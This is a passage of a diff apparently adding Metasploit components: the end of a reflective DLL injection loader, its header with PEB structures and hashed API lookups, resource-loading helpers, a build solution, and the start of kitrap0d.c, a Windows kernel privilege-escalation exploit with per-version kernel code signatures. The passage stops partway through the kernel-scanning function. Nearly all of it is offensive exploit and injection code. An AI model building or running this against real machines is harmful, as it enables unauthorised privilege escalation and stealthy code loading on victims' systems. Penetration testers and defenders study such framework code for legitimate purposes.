||||||
|
|
||||||
|
// you must implement this function...
|
||||||
|
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||||
|
|
||||||
|
BOOL MetasploitDllAttach( SOCKET socket )
|
||||||
|
{
|
||||||
|
Init( socket );
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||||
|
{
|
||||||
|
switch( dwExitFunc )
|
||||||
|
{
|
||||||
|
case EXITFUNC_SEH:
|
||||||
|
SetUnhandledExceptionFilter( NULL );
|
||||||
|
break;
|
||||||
|
case EXITFUNC_THREAD:
|
||||||
|
ExitThread( 0 );
|
||||||
|
break;
|
||||||
|
case EXITFUNC_PROCESS:
|
||||||
|
ExitProcess( 0 );
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
|
||||||
|
switch( dwReason )
|
||||||
|
{
|
||||||
|
case DLL_METASPLOIT_ATTACH:
|
||||||
|
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
|
||||||
|
break;
|
||||||
|
case DLL_METASPLOIT_DETACH:
|
||||||
|
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
|
||||||
|
break;
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
if( lpReserved != NULL )
|
||||||
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,223 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||||
|
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#include <Winsock2.h>
|
||||||
|
#include <intrin.h>
|
||||||
|
|
||||||
|
#include "ReflectiveDLLInjection.h"
|
||||||
|
|
||||||
|
// Enable this define to turn on OutputDebugString support
|
||||||
|
//#define ENABLE_OUTPUTDEBUGSTRING 1
|
||||||
|
|
||||||
|
// Enable this define to turn on locking of memory to prevent paging
|
||||||
|
#define ENABLE_STOPPAGING 1
|
||||||
|
|
||||||
|
#define EXITFUNC_SEH 0xEA320EFE
|
||||||
|
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||||
|
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||||
|
|
||||||
|
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||||
|
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||||
|
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||||
|
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
||||||
|
|
||||||
|
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||||
|
#define NTDLLDLL_HASH 0x3CFA685D
|
||||||
|
|
||||||
|
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||||
|
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||||
|
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||||
|
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||||
|
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T );
|
||||||
|
#define VIRTUALLOCK_HASH 0x0EF632F2
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR );
|
||||||
|
#define OUTPUTDEBUG_HASH 0x470D22BC
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||||
|
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||||
|
|
||||||
|
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||||
|
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||||
|
#define ARM_MOVW 0xF2400000
|
||||||
|
#define ARM_MOVT 0xF2C00000
|
||||||
|
|
||||||
|
#define HASH_KEY 13
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma intrinsic( _rotr )
|
||||||
|
|
||||||
|
__forceinline DWORD ror( DWORD d )
|
||||||
|
{
|
||||||
|
return _rotr( d, HASH_KEY );
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline DWORD _hash( char * c )
|
||||||
|
{
|
||||||
|
register DWORD h = 0;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
h = ror( h );
|
||||||
|
h += *c;
|
||||||
|
} while( *++c );
|
||||||
|
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
typedef struct _UNICODE_STR
|
||||||
|
{
|
||||||
|
USHORT Length;
|
||||||
|
USHORT MaximumLength;
|
||||||
|
PWSTR pBuffer;
|
||||||
|
} UNICODE_STR, *PUNICODE_STR;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||||
|
//__declspec( align(8) )
|
||||||
|
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||||
|
{
|
||||||
|
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
PVOID DllBase;
|
||||||
|
PVOID EntryPoint;
|
||||||
|
ULONG SizeOfImage;
|
||||||
|
UNICODE_STR FullDllName;
|
||||||
|
UNICODE_STR BaseDllName;
|
||||||
|
ULONG Flags;
|
||||||
|
SHORT LoadCount;
|
||||||
|
SHORT TlsIndex;
|
||||||
|
LIST_ENTRY HashTableEntry;
|
||||||
|
ULONG TimeDateStamp;
|
||||||
|
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||||
|
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||||
|
{
|
||||||
|
DWORD dwLength;
|
||||||
|
DWORD dwInitialized;
|
||||||
|
LPVOID lpSsHandle;
|
||||||
|
LIST_ENTRY InLoadOrderModuleList;
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
LPVOID lpEntryInProgress;
|
||||||
|
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||||
|
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||||
|
{
|
||||||
|
struct _PEB_FREE_BLOCK * pNext;
|
||||||
|
DWORD dwSize;
|
||||||
|
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||||
|
|
||||||
|
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||||
|
// WinDbg> dt -v ntdll!_PEB
|
||||||
|
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||||
|
{
|
||||||
|
BYTE bInheritedAddressSpace;
|
||||||
|
BYTE bReadImageFileExecOptions;
|
||||||
|
BYTE bBeingDebugged;
|
||||||
|
BYTE bSpareBool;
|
||||||
|
LPVOID lpMutant;
|
||||||
|
LPVOID lpImageBaseAddress;
|
||||||
|
PPEB_LDR_DATA pLdr;
|
||||||
|
LPVOID lpProcessParameters;
|
||||||
|
LPVOID lpSubSystemData;
|
||||||
|
LPVOID lpProcessHeap;
|
||||||
|
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||||
|
LPVOID lpFastPebLockRoutine;
|
||||||
|
LPVOID lpFastPebUnlockRoutine;
|
||||||
|
DWORD dwEnvironmentUpdateCount;
|
||||||
|
LPVOID lpKernelCallbackTable;
|
||||||
|
DWORD dwSystemReserved;
|
||||||
|
DWORD dwAtlThunkSListPtr32;
|
||||||
|
PPEB_FREE_BLOCK pFreeList;
|
||||||
|
DWORD dwTlsExpansionCounter;
|
||||||
|
LPVOID lpTlsBitmap;
|
||||||
|
DWORD dwTlsBitmapBits[2];
|
||||||
|
LPVOID lpReadOnlySharedMemoryBase;
|
||||||
|
LPVOID lpReadOnlySharedMemoryHeap;
|
||||||
|
LPVOID lpReadOnlyStaticServerData;
|
||||||
|
LPVOID lpAnsiCodePageData;
|
||||||
|
LPVOID lpOemCodePageData;
|
||||||
|
LPVOID lpUnicodeCaseTableData;
|
||||||
|
DWORD dwNumberOfProcessors;
|
||||||
|
DWORD dwNtGlobalFlag;
|
||||||
|
LARGE_INTEGER liCriticalSectionTimeout;
|
||||||
|
DWORD dwHeapSegmentReserve;
|
||||||
|
DWORD dwHeapSegmentCommit;
|
||||||
|
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||||
|
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||||
|
DWORD dwNumberOfHeaps;
|
||||||
|
DWORD dwMaximumNumberOfHeaps;
|
||||||
|
LPVOID lpProcessHeaps;
|
||||||
|
LPVOID lpGdiSharedHandleTable;
|
||||||
|
LPVOID lpProcessStarterHelper;
|
||||||
|
DWORD dwGdiDCAttributeList;
|
||||||
|
LPVOID lpLoaderLock;
|
||||||
|
DWORD dwOSMajorVersion;
|
||||||
|
DWORD dwOSMinorVersion;
|
||||||
|
WORD wOSBuildNumber;
|
||||||
|
WORD wOSCSDVersion;
|
||||||
|
DWORD dwOSPlatformId;
|
||||||
|
DWORD dwImageSubsystem;
|
||||||
|
DWORD dwImageSubsystemMajorVersion;
|
||||||
|
DWORD dwImageSubsystemMinorVersion;
|
||||||
|
DWORD dwImageProcessAffinityMask;
|
||||||
|
DWORD dwGdiHandleBuffer[34];
|
||||||
|
LPVOID lpPostProcessInitRoutine;
|
||||||
|
LPVOID lpTlsExpansionBitmap;
|
||||||
|
DWORD dwTlsExpansionBitmapBits[32];
|
||||||
|
DWORD dwSessionId;
|
||||||
|
ULARGE_INTEGER liAppCompatFlags;
|
||||||
|
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||||
|
LPVOID lppShimData;
|
||||||
|
LPVOID lpAppCompatInfo;
|
||||||
|
UNICODE_STR usCSDVersion;
|
||||||
|
LPVOID lpActivationContextData;
|
||||||
|
LPVOID lpProcessAssemblyStorageMap;
|
||||||
|
LPVOID lpSystemDefaultActivationContextData;
|
||||||
|
LPVOID lpSystemAssemblyStorageMap;
|
||||||
|
DWORD dwMinimumStackCommit;
|
||||||
|
} _PEB, * _PPEB;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
WORD offset:12;
|
||||||
|
WORD type:4;
|
||||||
|
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,89 @@
|
||||||
|
/*!
|
||||||
|
* @file ResourceLoader.c
|
||||||
|
* @brief Helper functions for loading embedded resources.
|
||||||
|
*/
|
||||||
|
#include <Windows.h>
|
||||||
|
#include "common.h"
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Load a resource from the given module as a raw array of bytes.
|
||||||
|
* @param hModule Handle to the module containing the resource.
|
||||||
|
* @param uResourceId ID of the resource to load.
|
||||||
|
* @param lpType The type of resource being loaded.
|
||||||
|
* @param pBuffer Pointer to the buffer that will receive the loaded resource.
|
||||||
|
* @param pBufferSize Pointer to the variable that will receive the size of \c pBuffer.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
*/
|
||||||
|
DWORD resource_extract_raw(HMODULE hModule, UINT uResourceId, LPCSTR lpType, LPBYTE* pBuffer, LPDWORD pBufferSize)
|
||||||
|
{
|
||||||
|
DWORD dwResult = FALSE;
|
||||||
|
DWORD dwResourceSize = 0;
|
||||||
|
LPBYTE pResource = NULL;
|
||||||
|
HRSRC hResource = NULL;
|
||||||
|
HGLOBAL hResData = NULL;
|
||||||
|
LPVOID lpResData = NULL;
|
||||||
|
|
||||||
|
*pBuffer = NULL;
|
||||||
|
*pBufferSize = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if ((hResource = FindResourceA(hModule, MAKEINTRESOURCEA(uResourceId), lpType)) == NULL) {
|
||||||
|
dwResult = GetLastError();
|
||||||
|
dprintf("[RES] Unable to find resource %d type %s", uResourceId, lpType);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((dwResourceSize = SizeofResource(hModule, hResource)) == 0) {
|
||||||
|
dwResult = GetLastError();
|
||||||
|
dprintf("[RES] Unable to find resource size for %d type %s", uResourceId, lpType);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((pResource = (LPBYTE)malloc(dwResourceSize)) == NULL) {
|
||||||
|
dwResult = ERROR_NOT_ENOUGH_MEMORY;
|
||||||
|
dprintf("[RES] Unable to allocate memory for resource %d type %s size %u", uResourceId, lpType, dwResourceSize);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((hResData = LoadResource(hModule, hResource)) == NULL) {
|
||||||
|
dwResult = GetLastError();
|
||||||
|
dprintf("[RES] Unable to load resource for %d type %s", uResourceId, lpType);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((lpResData = LockResource(hResData)) == NULL) {
|
||||||
|
dwResult = GetLastError();
|
||||||
|
dprintf("[RES] Unable to lock resource for %d type %s", uResourceId, lpType);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy_s(pResource, dwResourceSize, lpResData, dwResourceSize);
|
||||||
|
|
||||||
|
// Locked resource don't need to be unlocked. If we get here, we've won!
|
||||||
|
dwResult = ERROR_SUCCESS;
|
||||||
|
*pBuffer = lpResData;
|
||||||
|
*pBufferSize = dwResourceSize;
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
if (dwResult != ERROR_SUCCESS && pResource != NULL) {
|
||||||
|
free(pResource);
|
||||||
|
}
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Free up memory that was allocated when loading the resource.
|
||||||
|
* @param lpBuffer Pointer to the allocated buffer.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
|
*/
|
||||||
|
DWORD resource_destroy(LPBYTE lpBuffer)
|
||||||
|
{
|
||||||
|
if (lpBuffer != NULL)
|
||||||
|
{
|
||||||
|
free(lpBuffer);
|
||||||
|
}
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
|
@ -0,0 +1,11 @@
|
||||||
|
/*!
|
||||||
|
* @file ResourceLoader.h
|
||||||
|
* @brief Declarations of helper functions for loading embedded resources.
|
||||||
|
*/
|
||||||
|
#ifndef _ESCALATE_RESOURCELOADER_H
|
||||||
|
#define _ESCALATE_RESOURCELOADER_H
|
||||||
|
|
||||||
|
DWORD resource_extract_raw(HMODULE hModule, UINT uResourceId, LPCSTR lpType, LPBYTE* pBuffer, LPDWORD pBufferSize);
|
||||||
|
DWORD resource_destroy(LPBYTE lpBuffer);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,46 @@
|
||||||
|
#ifndef _ESCALATE_COMMON_H
|
||||||
|
#define _ESCALATE_COMMON_H
|
||||||
|
|
||||||
|
/*! @brief When defined, debug output is enabled on Windows builds. */
|
||||||
|
//#define DEBUGTRACE 1
|
||||||
|
|
||||||
|
#ifdef DEBUGTRACE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <string.h>
|
||||||
|
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define dprintf(...) do{}while(0);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
|
||||||
|
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||||
|
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
|
||||||
|
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||||
|
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
|
||||||
|
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||||
|
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
|
||||||
|
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); continue; }
|
||||||
|
|
||||||
|
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
|
||||||
|
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
|
||||||
|
/*! @brief Close a handle if not already closed and set the handle to NULL. */
|
||||||
|
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
|
||||||
|
|
||||||
|
#ifdef DEBUGTRACE
|
||||||
|
/*!
|
||||||
|
* @brief Output a debug string to the debug console.
|
||||||
|
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed
|
||||||
|
* using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_.
|
||||||
|
*/
|
||||||
|
static void real_dprintf(char *format, ...) {
|
||||||
|
va_list args;
|
||||||
|
char buffer[1024];
|
||||||
|
va_start(args,format);
|
||||||
|
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||||
|
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||||
|
OutputDebugStringA(buffer);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,31 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 2013
|
||||||
|
VisualStudioVersion = 12.0.21005.1
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kitrap0d", "kitrap0d\kitrap0d.vcxproj", "{6B678096-E18A-427A-A8A3-C268AD2E12B8}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D} = {DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}
|
||||||
|
EndProjectSection
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kitrap0d_payload", "kitrap0d_payload\kitrap0d_payload.vcxproj", "{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Win32 = Debug|Win32
|
||||||
|
Release|Win32 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{6B678096-E18A-427A-A8A3-C268AD2E12B8}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{6B678096-E18A-427A-A8A3-C268AD2E12B8}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{6B678096-E18A-427A-A8A3-C268AD2E12B8}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{6B678096-E18A-427A-A8A3-C268AD2E12B8}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,497 @@
|
||||||
|
/*!
|
||||||
|
* @file kitrap0d.c
|
||||||
|
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
|
||||||
|
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
|
||||||
|
* @remark Known Bugs:
|
||||||
|
* - Windows NT4 fails to map the NULL page, (exit code 'NTAV').
|
||||||
|
* - Windows 2000 fails to find the VDM_TIB size (something else is wrong)
|
||||||
|
* - Windows 2008 Storage Server has 16-bit applications disabled by default
|
||||||
|
* - Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
|
||||||
|
*/
|
||||||
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
|
#include "../common/ReflectiveLoader.c"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "../common/common.h"
|
||||||
|
#include "../common/LoadLibraryR.h"
|
||||||
|
#include "../common/ResourceLoader.h"
|
||||||
|
#include "resource.h"
|
||||||
|
|
||||||
|
#define PAGE_SIZE 0x1000
|
||||||
|
|
||||||
|
enum { SystemModuleInformation = 11 };
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
ULONG Unknown1;
|
||||||
|
ULONG Unknown2;
|
||||||
|
PVOID Base;
|
||||||
|
ULONG Size;
|
||||||
|
ULONG Flags;
|
||||||
|
USHORT Index;
|
||||||
|
USHORT NameLength;
|
||||||
|
USHORT LoadCount;
|
||||||
|
USHORT PathLength;
|
||||||
|
CHAR ImageName[256];
|
||||||
|
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
ULONG Count;
|
||||||
|
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||||
|
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
||||||
|
|
||||||
|
typedef struct CodeSignature
|
||||||
|
{
|
||||||
|
UCHAR Signature[16];
|
||||||
|
DWORD Version;
|
||||||
|
};
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief List of code signatures used when searching kernel memory.
|
||||||
|
* @remark These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
|
||||||
|
*/
|
||||||
|
struct CodeSignature CodeSignatures[] = {
|
||||||
|
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
|
||||||
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
|
||||||
|
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
|
||||||
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
|
||||||
|
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
|
||||||
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
|
||||||
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
|
||||||
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
|
||||||
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
|
||||||
|
{ "", -1 }
|
||||||
|
};
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Scan the appropriate kernel image for the correct offset.
|
||||||
|
* @retval TRUE An offset was found.
|
||||||
|
* @retval FALSE An offset was not found.
|
||||||
|
*/
|
||||||
|
BOOL kitrap0d_scan_kernel(PDWORD KernelBase, PDWORD OffsetFromBase)
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
FARPROC NtQuerySystemInformation = NULL;
|
||||||
|
HMODULE hKernel = NULL;
|
||||||
|
HMODULE hNtdll = NULL;
|
||||||
|
PIMAGE_DOS_HEADER DosHeader = NULL;
|
||||||
|
PIMAGE_NT_HEADERS PeHeader = NULL;
|
||||||
|
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
|
||||||
|
PBYTE ImageBase = NULL;
|
||||||
|
HKEY MmHandle = NULL;
|
||||||
|
OSVERSIONINFO os = { 0 };
|
||||||
|
SYSTEM_MODULE_INFORMATION ModuleInfo = { 0 };
|
||||||
|
DWORD PhysicalAddressExtensions = 0;
|
||||||
|
DWORD DataSize = 0;
|
||||||
|
ULONG i = 0;
|
||||||
|
ULONG x = 0;
|
||||||
|
|
||||||
|
// List of versions we have code signatures for.
|
||||||
|
enum {
|
||||||
|
MICROSOFT_WINDOWS_NT4 = 0,
|
||||||
|
MICROSOFT_WINDOWS_2000 = 1,
|
||||||
|
MICROSOFT_WINDOWS_XP = 2,
|
||||||
|
MICROSOFT_WINDOWS_2003 = 3,
|
||||||
|
MICROSOFT_WINDOWS_VISTA = 4,
|
||||||
|
MICROSOFT_WINDOWS_2008 = 5,
|
||||||
|
MICROSOFT_WINDOWS_7 = 6,
|
||||||
|
} Version = MICROSOFT_WINDOWS_7;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
hNtdll = GetModuleHandle("ntdll");
|
||||||
|
if (!hNtdll) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// NtQuerySystemInformation can be used to find kernel base address
|
||||||
|
NtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||||||
|
if (!NtQuerySystemInformation) {
|
||||||
|
